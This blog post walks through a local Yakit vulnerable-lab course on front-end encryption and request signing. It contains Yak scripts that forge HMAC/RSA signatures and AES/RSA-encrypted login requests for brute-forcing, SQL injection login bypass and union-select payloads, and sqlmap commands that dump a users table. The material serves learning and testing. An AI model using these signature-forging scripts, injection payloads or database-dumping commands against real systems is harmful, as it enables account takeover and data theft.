Yakit靶场-高级前端加解密与验签实战-全关卡通关教程

news/2024/12/23 8:20:36/文章来源:https://www.cnblogs.com/CVE-Lemon/p/18622394

一、前端验签-SHA256

本文作者为CVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

绕过

通过查看源代码可以看到key为

1234123412341234

通过查看源代码可以看到是通过SHA256来进行签名的,他把请求体的username和password字段提取,然后进行加密。

username=admin&password=admin123

使用CyberChef加密,最终得到加密值为:fc4b936199576dd7671db23b71100b739026ca9dcb3ae78660c4ba3445d0654d

可以看到自己计算和前端计算的一致:

修改密码,重新构造签名:

username=admin&password=666666
=>
26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee

发送请求,可以看到验签成功,密码正确登陆成功,自此签名绕过成功。

POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json{"signature": "26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee","key": "31323334313233343132333431323334","username": "admin","password": "666666"
}

热加载

这是我写的热加载代码,通过beforeRequest劫持请求包,使用encryptData函数进行加密,最终实现热加载自动签名功能。

encryptData = (packet) => {body = poc.GetHTTPPacketBody(packet)params = json.loads(body)//获取账号和密码name = params.usernamepass  = params.passwordkey = "31323334313233343132333431323334"    //十六进制密钥//HmacSha256加密signText = f`username=${name}&password=${pass}`sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText))//构造请求体result = f`{"username":"${name}","password":"${pass}","signature":"${sign}","key":"${key}"}`return string(poc.ReplaceBody(packet, result, false))
}//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }//调试用
packet = <<<TEXT
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179{"username":"admin","password":"admin123"}
TEXT
result = (encryptData(packet))
print(result)

调试结果如下:

beforeRequest取消注释,添加到Web Fuzzer模块的热加载中:

保存后发送请求,热加载成功实现自动签名功能。

二、前端验签-SHA256+RSA

本文作者ärCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

绕过

根据提示可以看出这次签名用了SHA2556和RSA两个技术进行加密。

查看源代码可以看到RSA公钥是通过请求服务器获取:

请求一下:http://127.0.0.1:8787/crypto/js/rsa/public/key ,可以看到公钥。

SHA256密钥位置:

Encrypt方法:

function Encrypt(word) {console.info(word);return  KEYUTIL.getKey(pubkey).encrypt(CryptoJS.HmacSHA256(word, key.toString(CryptoJS.enc.Utf8)).toString()); 
}

KEYUTIL.getKey(pubkey).encrypt是RSA1v15加密方法,在代码中可以看到先进行SHA265加密,然后再RSA加密。被加密的文本的格式同上一关所示。

使用CyberChef加密:

替换请求,可以看到签名构造成功:

热加载

这是我写的Yakit热加载代码,通过beforeRequest劫持请求包,使用encryptData函数进行加密,getPubkey获取公钥,最终实现热加载自动签名功能。

getPubkey = func() {//通过请求动态获取公钥rsp, req = poc.HTTP(`GET /crypto/js/rsa/public/key HTTP/1.1
Host: 127.0.0.1:8787`)~body = poc.GetHTTPPacketBody(rsp) // 响应体return body
}encryptData = (packet) => {body = poc.GetHTTPPacketBody(packet)params = json.loads(body)name = params.usernamepass = params.passwordkey = "31323334313233343132333431323334"pemBytes = getPubkey() // 获取公钥signText = f`username=${name}&password=${pass}`sha256sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText)) // SHA256加密rsaSign = codec.EncodeToHex(codec.RSAEncryptWithPKCS1v15(pemBytes /*type: []byte*/, sha256sign)~) // RSA加密body = f`{"username":"${name}","password":"${pass}","signature":"${rsaSign}","key":"${key}"}`return string(poc.ReplaceBody(packet, body, false))
}//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }//调试用
packet = <<<TEXT
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179{"username":"admin","password":"password"}
TEXT
result = (encryptData(packet))
print(result)

这次不调试了,直接请求看看效果,成功热加载自动签名:

插入临时字典爆破,可以看到正确密码为admin123。

三、CryptoJS.AES(CBC) 前端加密登陆表单

本文作者isCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

分析

查看源代码,可以看到加密方式为AES,查询网上资料得知,此encrypt方法默认为CBC模式。

key为:1234123412341234

iv为随机生成的:

将用户名和密码以json的格式进行AES加密

使用CyberChef加密

替换请求data内容,验证成功。

POST /crypto/js/lib/aes/cbc/handler HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 169{"data": "2/eylw258wQNJQznPd5zr7xpNWzPR3vcgCmY3zwuTdW0WjSwbNzAhTraiebLdPRK","key": "31323334313233343132333431323334","iv": "67ba30beaabf8ccfebeca655d487805a"
}

热加载

这是本人写的Yakit热加载代码,通过beforeRequest劫持请求包,使用encryptData函数进行加密,最终实现热加载自动加密功能。

encryptData = (packet) => {body = poc.GetHTTPPacketBody(packet)hexKey = "31323334313233343132333431323334"hexIV = "67ba30beaabf8ccfebeca655d487805a"key = codec.DecodeHex(hexKey)~iv = codec.DecodeHex(hexIV)~data = codec.AESCBCEncrypt(key /*type: []byte*/, body, iv /*type: []byte*/)~data = codec.EncodeBase64(data)body = f`{"data": "${data}","key": "${hexKey}","iv": "${hexIV}"}`return string(poc.ReplaceBody(packet, body, false))
}//发送到服务端修改数据包
beforeRequest = func(req){return encryptData(req)
}

效果:

四、CryptoJS.AES(ECB) 前端加密登陆表单

本文作者はCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

分析

模式变为AES的ECB模式,其他的与CBC模式基本一样。

zqBATwKGlf9ObCg8Deimijp+OH1VePy6KkhV1Z4xjiDwOuboF7GPuQBCJKx6o9c7

热加载

功能跟上面大致一样。ECB模式不需要iv,修改成ECB加密,然后删除掉iv相关代码即可。

encryptData = (packet) => {body = poc.GetHTTPPacketBody(packet)hexKey = "31323334313233343132333431323334"key = codec.DecodeHex(hexKey)~//ECB模式加密data = codec.AESECBEncrypt(key /*type: []byte*/, body, nil /*type: []byte*/)~data = codec.EncodeBase64(data)body = f`{"data": "${data}","key": "${hexKey}"}`return string(poc.ReplaceBody(packet, body, false))
}//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }//调试用
packet = <<<TEXT
POST /crypto/js/lib/aes/cbc/handler HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179{"username":"admin","password":"admin123"}
TEXT
result = (encryptData(packet))
print(result)

成功加密

五、CryptoJS.AES(ECB) 被前端加密的 SQL 注入

本文作者éCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

绕过

SQL注入

前端代码和上一关一样,都是通过AES加密请求的数据。

yaklang\common\vulinbox\db.go中可以看到相关后端代码:

数据库是SQLite类型,username参数是直接拼接查询的,所以存在SQL注入漏洞。

登录绕过

yaklang\common\vulinbox\vul_cryptojs_base.go

密码在第87行被赋值,密码是通过上面的GetUserByUsernameUnsafe获取的

输入{"username":"admin","password":"666666"}的SQL语句

select * from vulin_users where username = 'admin';

输入{"username":"admin'or 1=1--","password":"666666"}的SQL语句

select * from vulin_users where username = 'admin'or 1=1--';

相当于:

select * from vulin_users where true;

所以返回结果为表中的所有数据。

所以用户名随便输,密码输入表中存在的随意一个密码就能登陆成功:

sqlmap

使用Yakit的MITM 交互式劫持,热加载写上AES加密的代码

encryptData = (packet) => {body = poc.GetHTTPPacketBody(packet)hexKey = "31323334313233343132333431323334"key = codec.DecodeHex(hexKey)~data = codec.AESECBEncrypt(key /*type: []byte*/, body, nil /*type: []byte*/)~data = codec.EncodeBase64(data)body = f`{"data": "${data}","key": "${hexKey}"}`return string(poc.ReplaceBody(packet, body, false))
}
beforeRequest = func(req){return encryptData(req)
}

1.txt

POST /crypto/js/lib/aes/ecb/handler/sqli HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json{"username":"admin","password":"admin"}

运行sqlmap

python .\sqlmap.py -r .\1.txt --proxy=http://127.0.0.1:8081 --batch -T vulin_users  -C username,password,role --dump

注入成功

六、CryptoJS.AES(ECB) 被前端加密的 SQL 注入(Bypass认证)

本文作者esCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

绕过

这个前端代码与前面的还是一样的,都是AES ECB加密。

后端代码如下,可以看到查询语句在109行,用户名和密码都是直接拼接查询的。

SQL注入跟上面的操作一样,这里就不演示了,这里直接用热加载绕过登录。

POST /crypto/js/lib/aes/ecb/handler/sqli/bypass HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json{"username":"admin'or 1=1--","password":""}

七、AES-ECB 加密表单(附密码)

同 CryptoJS.AES(ECB) 前端加密登陆表单。

八、RSA:加密表单,附密钥

本文作者istCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

分析

generateKey函数用来生成随机的RSA公私钥

加密的格式如下:

{"username":"admin","password":"123456","age":"20"}

对数据进行RSA加密,请求包格式:

热加载

这是本人写的Yakit热加载代码,通过beforeRequest hook请求包,调用encrypt函数进行加密,最终实现热加载自动加密功能。由于密钥是从前端获取,所以直在在热加载里生成了。

encrypt = (packet) => {//生成RSA密钥publicKey, privateKey = tls.GenerateRSA2048KeyPair()~//base64编码publicKeyBase64 = codec.EncodeBase64(publicKey)privateKeyBase64 = codec.EncodeBase64(privateKey)body = poc.GetHTTPPacketBody(packet)data = codec.RSAEncryptWithOAEP(publicKey /*type: []byte*/, body)~ // RSA加密data = codec.EncodeBase64(data)//处理换行符publicKey = str.ReplaceAll(publicKey, "\n", r"\n")privateKey = str.ReplaceAll(privateKey, "\n", r"\n")//构造请求体body = f`{"data":"${data}","publicKey":"${publicKey}","publicKeyBase64":"${publicKeyBase64}","privateKey":"${privateKey}","privateKeyBase64":"${privateKeyBase64}"}`return string(poc.ReplaceBody(packet, body, false))
}//发送到服务端修改数据包
beforeRequest = func(req){return encrypt(req)
}

效果:

使用字典爆破,爆破成功,可以看到密码为admin123。

九、RSA:加密表单服务器传输密钥

本文作者हैCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

分析

这里的代码跟上一关的类似,但是加密的公钥是通过请求服务端获取的

http://127.0.0.1:8787/crypto/js/rsa/generator

由于密钥是服务端生产的,服务端有公私钥信息,所以自然不需要传递公私钥了。

请求格式如下,只有被加密的内容:

序列+热加载

序列

打开Yakit的Web Fuzzer,点击左侧的序列

选择从服务端获取密钥的那个数据包

使用数据提取器提取公钥

提取结果正常:

再添加序列:

先把请求体置空,编写热加载代码

热加载

本来之前写的是请求体格式跟上一关一样,然后在热加载里请求来获取密钥,缺点也显而易见,每次登录请求都会多出了一个请求公钥的数据包,所以最后选择用Yakit的序列配合热加载标签传参来加密。

由于Yakit热加载标签只能传一个参数,这里感谢Yakit群群友Gun的帮助,给了我一个手动分割参数的函数。

把序列第一个请求提取到的publicKey变量和需要加密的数据传过去,由splitParams分割,然后传参给encrypt进行RSA加密。

序列格式:

{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"admin123","age":"20"})}}

热加载代码:

encrypt = (pemPublic, data) => {data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~data = codec.EncodeBase64(data)body = f`{"data":"${data}"}`return body
}//分割传过来的参数,每个参数中间以|分隔
splitParams = (params) => {pairs := params.SplitN("|", 2)return encrypt(pairs[0], pairs[1])
}

执行序列,爆破成功,使用序列的好处就是只获取一次公钥即可。

之前的代码:

弃用代码,就不做解释了。

getPubkey = func(host) {//通过请求动态获取公钥rsp, req = poc.HTTP(f`GET /crypto/js/rsa/generator HTTP/1.1
Host: ${host}`)~body = poc.GetHTTPPacketBody(rsp) // 响应体params = json.loads(body)publicKey = str.ReplaceAll(params.publicKey, r"\n", "\n")println(publicKey)return publicKey
}encryptData = (packet) => {body = poc.GetHTTPPacketBody(packet)host = poc.GetHTTPPacketHeader(packet, "Host")pemBytes = getPubkey(host) // 获取公钥println(pemBytes)data = codec.RSAEncryptWithOAEP(pemBytes /*type: []byte*/, body)~data = codec.EncodeBase64(data)body = f`{"data":"${data}"}`return string(poc.ReplaceBody(packet, body, false))
}//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }//调试用
packet = <<<TEXT
POST /crypto/js/rsa/fromserver HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179{"username":"admin","password":"123456","age":"20"}
TEXT
result = (encryptData(packet))
print(result)

十、RSA:加密表单服务器传输密钥+响应加密

本文作者естьCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

分析

这里的公私钥同上一关一样是通过服务端获取

通过查看响应包可以看到,data字段被加密了,当然这里我已经知道了data字段和origin字段的内容是一样的,下面来看看该如何编写热加载代码吧。

序列+热加载

方法1(固定私钥)

这里跟上一关一样选择Web Fuzzer的序列功能。

数据提取器提取公私钥

由于afterRequest函数无法获取到参数,所以在代码里写死了私钥内容来解密响应包。

热加载代码:

var PRIVATE_KEY = `这里填私钥内容(可换行)`decryptData = (packet) => {body = poc.GetHTTPPacketBody(packet) // 获取响应包体jsonBody = json.loads(body) // 转为map格式//解密数据data = codec.DecodeBase64(json.loads(body).data)~data = codec.RSADecryptWithOAEP(PRIVATE_KEY/*type: bytes*/, data/*type: any*/)~data = string(data)// 使用JsonPath定位,替换json中的databody = json.ReplaceAll(jsonBody, "$..data", data)// 转为json格式body = json.dumps(body, json.withIndent("   "))// 替换正则匹配结果(可省略)pattern := `\\`body = re.ReplaceAll(body, pattern, "")return poc.ReplaceBody(packet, body/*type: bytes*/, false/*type: bool*/)
}encryptData = (pemPublic, data) => {data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~data = codec.EncodeBase64(data)body = f`{"data":"${data}"}`return body
}//分割参数的函数
splitParams = (params) => {pairs := params.SplitN("|", 2)return encryptData(pairs[0], pairs[1])
}// 修改响应包
afterRequest = func(rsp){return decryptData(rsp)
}

请求格式:

POST /crypto/js/rsa/fromserver/response HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"admin23","age":"20"})}}

下图为效果图,响应包的data字段的值被解密后的数据替换。

方法2(使用mirrorHTTPFlow)

在这一关(响应加密)和下一关(RSA加密AES密钥)解密过程中,我一直都在寻找如何才能把数据提取器提取到的privateKey传参到beforeRequestafterRequest这类函数中,以达到修改数据包的目的。

从前端验签与加解密学习Yakit中WebFuzzer热加载。在这篇文章中学到了可以使用序列,将前两个序列提取到的key和数据,在第三个序列当做请求内容,解密后发送过去,这样也算是一种变相的完成了解密,但是这个方法感觉不太优雅,需要多一个额外的请求包。

这是当时测试的图片:

然后在 Yak Project官方公众号的文章中终于看到了一个函数,mirrorHTTPFlow可以解决这个问题,虽然不能直接替换响应包,但会出现在提取数据中。由于官方文档没有具体讲解这个函数,所以它的具体功能现在还不太清楚。

热加载代码:

//加密函数
encrypt = (pemPublic, data) => {data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~data = codec.EncodeBase64(data)body = f`{"data":"${data}"}`return body
}//分割参数的函数
splitParams = (params) => {pairs := params.SplitN("|", 2)return encrypt(pairs[0], pairs[1])
}mirrorHTTPFlow = (req, rsp, params) => {// 获取私钥以解密响应数据pem = params.privateKey// 切割响应中的数据,作为 JSON 加载_, body = poc.Split(rsp)body = json.loads(body)// 解密datadata = codec.DecodeBase64(body.data)~data = codec.RSADecryptWithOAEP(pem, data)~return string(data)
}

请求包格式:

POST /crypto/js/rsa/fromserver/response HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"123","age":"20"})}}

效果如下图,可以看到解密后的data出现在了提取内容中。

爆破成功,但是看不到请求的原始密码,由于太累了懒得解决这个问题,啥时候闲了再说吧。

十一、前端RSA加密AES密钥,服务器传输

本文作者هوCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

由于RSA加解密有长度限制,以及解密速度等问题,所以如https等协议都是用非对称加密对称加密的密钥,然后用对称加密算法来加密数据。本关卡就是用RSA来加密AES的key和iv,用AES来加密表单数据。

分析

直接Submit,观察数据包发现请求包和响应包AES加密的key和iv都被加密了。

查看源码,RSA的key是通过请求/crypto/js/rsa/generator路径获取的

AES的加密方法为AES-GCM

流程图如下:

graph TD;A[开始] --> B(加载页面);B --> C{获取RSA密钥对};C -- 是 --> D(从服务器获取公钥和私钥);D --> E(将PEM格式的公钥和私钥转换为CryptoKey对象);E --> F(生成随机AES密钥与IV);F --> G(使用RSA-OAEP加密AES密钥与IV);G --> H(使用Encrypt函数用AES-GCM方式加密提交的数据);H --> I(发送加密数据到服务器);I --> J(接收服务器响应);J --> K(使用Decrypt函数用RSA与AES-GCM解密接收的数据);K --> L(显示解密后的数据);

序列+热加载

本文和上一关遇到一样的问题,本来打算用第三个请求来解密响应包的,最后选择了使用mirrorHTTPFlow函数来解密。

上一关中只能看到登陆成功,但不知道账号密码是什么。这次写了个解密函数解密请求包,不管怎么说,能跑就行。

热加载代码如下:

// RSA-OAEP 加密
rsaEncrypt = (pem, data) => {data = codec.RSAEncryptWithOAEP(pem, data)~data = codec.EncodeBase64(data)return data
}
// AES-GCM 加密
aesEncrypt = (key, iv, data) => {encryptedData = codec.AESGCMEncryptWithNonceSize12(key, data, iv)~encryptedData = codec.EncodeBase64(encryptedData)return encryptedData
}
// 分割参数的函数
splitParams = (params) => {pairs := params.SplitN("|", 2)return pairs
}
// 主函数
encrypt = (params) => {pairs := splitParams(params)key =  randstr(16)iv = randstr(12)data = aesEncrypt(key, iv, pairs[1])encryptIV = rsaEncrypt(pairs[0], iv)encryptKey = rsaEncrypt(pairs[0], key)body = f`{"data":"${data}","iv":"${iv}","encryptedIV":"${encryptIV}","encryptedKey":"${encryptKey}"}`return body
}
// 解密函数
mirrorHTTPFlow = (req, rsp, params) => {// 获取私钥pem = params.privateKey// 切割响应中的数据,作为 JSON 加载body = json.loads(poc.GetHTTPPacketBody(rsp))// 提取 IV、KEY 和 DATAdata = body.dataiv = body.encryptedIVkey = body.encryptedKey// 使用 RSA-OAEP 解密 IV 和 KEYiv = codec.RSADecryptWithOAEP(pem, codec.DecodeBase64(iv)~)~key = codec.RSADecryptWithOAEP(pem, codec.DecodeBase64(key)~)~// 使用 AES-GCM 解密data = codec.AESGCMDecryptWithNonceSize12(key, codec.DecodeBase64(data)~, iv)~return string(data)
}

使用Yakit的序列功能,效果如下,在提取数据中显示了未加密的请求和响应的内容:

爆破效果:

十二、SQL 注入(从登陆到 Dump 数据库)

本文作者คือCVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

登录

输入账号密码,抓包查看数据包,看上去就是一个普通的aes加密:

这里热加载代码不算太难,常规的加解密函数就可以了:

encryptAES = (packet) => {body = poc.GetHTTPPacketBody(packet)// 生成随机key和ivkey =  randstr(16)iv = randstr(12)// 加密数据data = codec.AESCBCEncrypt(key /*type: []byte*/, body, iv /*type: []byte*/)~data = codec.EncodeBase64(data)// 获取key和iv的hex值hexKey = codec.EncodeToHex(key)hexIV = codec.EncodeToHex(iv)// 构造新的bodybody = f`{"key": "${hexKey}","iv": "${hexIV}","message": "${data}"}`return poc.ReplaceBody(packet, body, false)
}decryptAES = (packet) => {body = poc.GetHTTPPacketBody(packet)body = json.loads(body)key = codec.DecodeHex(body.key)~iv = codec.DecodeHex(body.iv)~data = codec.DecodeBase64(body.message)~data = codec.AESCBCDecrypt(key, data, iv)~return poc.ReplaceBody(packet, data, false)
}beforeRequest = func(req){return encryptAES(req)
}
afterRequest = func(rsp){return decryptAES(rsp)
}

请求体格式

{"username":"admin","password":"password"}

热加载加解密成功

本关提示是SQL注入,所以直接啪一个1=1,说时迟那时快,直接登陆成功

POST /crypto/sqli/aes-ecb/encrypt/login HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json{"username":"admin","password":"password'or 1=1--"}

注入

手工

登陆后看到请求了/crypto/sqli/aes-ecb/encrypt/query/users路径

解密一下请求包:

获取到请求的格式:

{"search":""}

这里是SQLite注入,注入的语句是通过这篇文章获取的:sqlite注入的一点总结 - 先知社区 (aliyun.com)

{"search":"user1'order by 3--"}
{"search":"user1'union select 1,2,3--"}
{"search":"user1'union select 11,22,sql from sqlite_master--"}
{"search":"user1'union select 11,22,sql from sqlite_master where type='table' and name='vulin_users'--"}
{"search":"user1'union select username,password,id from vulin_users--"}

注入成功:

POST /crypto/sqli/aes-ecb/encrypt/query/users HTTP/1.1
Host: 127.0.0.1:8787
Cookie: token=PLNqoZMZfiELLLFuTbmOtSrDdnpFmDDM
Content-Type: application/json
Content-Length: 119{"search":"user1'union select username,password,id from vulin_users--"}

sqlmap

在MITM处加载热加载代码

使用sqlmap注入

python .\sqlmap.py -r .\http.txt --proxy=http://127.0.0.1:8081 --batch -dbms=sqlite -T vulin_users -C username,password,role --dump

http.txt

POST /crypto/sqli/aes-ecb/encrypt/query/users HTTP/1.1
Host: 127.0.0.1:8787
Cookie: token=PLNqoZMZfiELLLFuTbmOtSrDdnpFmDDM
Content-Type: application/json
Content-Length: 119{"search":"*"}

效果:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/857291.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AOP中动态代理详解

动态代理概述 什么是代理 代理模式(Proxy pattern): 为另一个对象提供一个替身或占位符以控制对这个对象的访问什么是动态代理?动态代理就是,在程序运行期,创建目标对象的代理对象,并对目标对象中的方法进行功能性增强的一种技术。在生成代理对象的过程中,目标对象不变,代…

Windows Server 2025 OVF (2024 年 12 月更新) - VMware 虚拟机模板

Windows Server 2025 OVF (2024 年 12 月更新) - VMware 虚拟机模板Windows Server 2025 OVF (2024 年 12 月更新) - VMware 虚拟机模板 Windows Server 2025 Datacenter x64 OVF, updated Dec 2024 (sysin) 请访问原文链接:https://sysin.org/blog/windows-server-2025-ovf/ …

Windows Server 2025 中文版、英文版下载 (2024 年 12 月更新)

Windows Server 2025 中文版、英文版下载 (2024 年 12 月更新)Windows Server 2025 中文版、英文版下载 (2024 年 12 月更新) Windows Server 2025 LTSC x64 (updated Dec 2024) 请访问原文链接:https://sysin.org/blog/windows-server-2025/ 查看最新版。原创作品,转载请保留…

Windows 11 24H2 中文版、英文版 (x64、ARM64) 下载 (2024 年 12 月更新)

Windows 11 24H2 中文版、英文版 (x64、ARM64) 下载 (2024 年 12 月更新)Windows 11 24H2 中文版、英文版 (x64、ARM64) 下载 (2024 年 12 月更新) Windows 11, version 24H2 Enterprise Arm64 x64 (updated Dec 2024) 请访问原文链接:https://sysin.org/blog/windows-11/ 查看…

C#字符串拼接的几种方式及其性能分析对比

前言 在C#编程中字符串拼接是一种常见且基础的操作,广泛应用于各种场景,如动态生成SQL查询、构建日志信息、格式化用户显示内容等。然而,不同的字符串拼接方式在性能和内存使用上可能存在显著差异。今天咱们一起来看看在C#中字符串拼接的常见6种方式及其使用BenchmarkDotNet…

dotnet 简单使用 ICU 库进行分词和分行

本文将和大家介绍如何使用 ICU 库进行文本的分词和分行按照 dotnet 的惯例,先使用 NuGet 安装大佬封装好的 ICU 库,我这里选择的是 icu.net 库和 Microsoft.ICU.ICU4C.Runtime 库。其中 icu.net 库提供 ICU 的 dotnet 层封装,让咱上层 C# 代码可以方便调用。而 Microsoft.IC…

读图数据库实战笔记11读后总结与感想兼导读

读后总结与感想1. 基本信息 图数据库实战[ [美] 戴夫贝克伯杰(Dave Bechberger) (美) 乔希佩里曼著人民邮电出版社,2021年10月出版1.1. 读薄率 书籍总字数413千字,笔记总字数30938字。 读薄率30938413000≈7.49% 1.2. 读厚方向Data Mesh权威指南数据的边界:隐私与个人数据保护…

12.16 ~ 12.22

菜12.16 回归 OI 第一天。 打多校的模拟赛。 3 题 4.5h,已经是省选模拟了 T1 一眼可反悔贪心好像还是道原,于是在场上与 T1 大战 3h 遗憾离场 后边两题直接敲暴力了 T3 还是个构造,这下一点不会了 然后 T1 的 DP 出了点小锅,在新 OJ 绑包以及选手可以自行加点的情况下取得了…

给销售人

许多人不懂的是:销售最大的收获不是提成多少,不是升职,不是增加了炫耀的资本,不是完成任务,销售最大的收获是:你生活中多了一个信任你的人! 销售最大的敌人 不是对手,不是价格太高,不是拒绝你的客户,不是公司制度,不是产品不好,最大的敌人是:你的抱怨!你的借口!…

pve系统all in one 搭建

成功安装系统,硬件不支持8.x的pve 使用5.1 后续可以更新 换源 在更新软件包时出错因为 Proxmox 的 Ceph Quincy 源未正确导入公钥,导致系统无法验证其软件包的签名。重新更新成功 安装最新配置 过程中顺便加了一个pcie x1 转1g的网卡,不知是否需要驱动。使用的时候再看吧 不…

使用ollama+llama3.1+open-webui搭一个本地的模型

1、先安装我们的ollama 1.1、官网地址:https://ollama.com/ 选择合适的版本,我的是window版本,点击下载,不用填邮箱。1.2、开始安装,选择默认就可以1.3、安装完毕:cmd输入:ollama2、安装模型:llama3.1 2.1:找到模型 2.2复制下载2.3、命令行下载: 2.4、下载完毕就进入对…

windows修改mac 地址

参考 https://blog.csdn.net/u012559967/article/details/134768073 win11确认可行 (另外一种修改注册表,暂未确认) 网络适配器中配置 网络适配器中配置的方式适用于能够在网络适配器中找到物理地址(NetworkAddress)的情况。 1、打开控制面板 > 网络和共享中心 > 更改…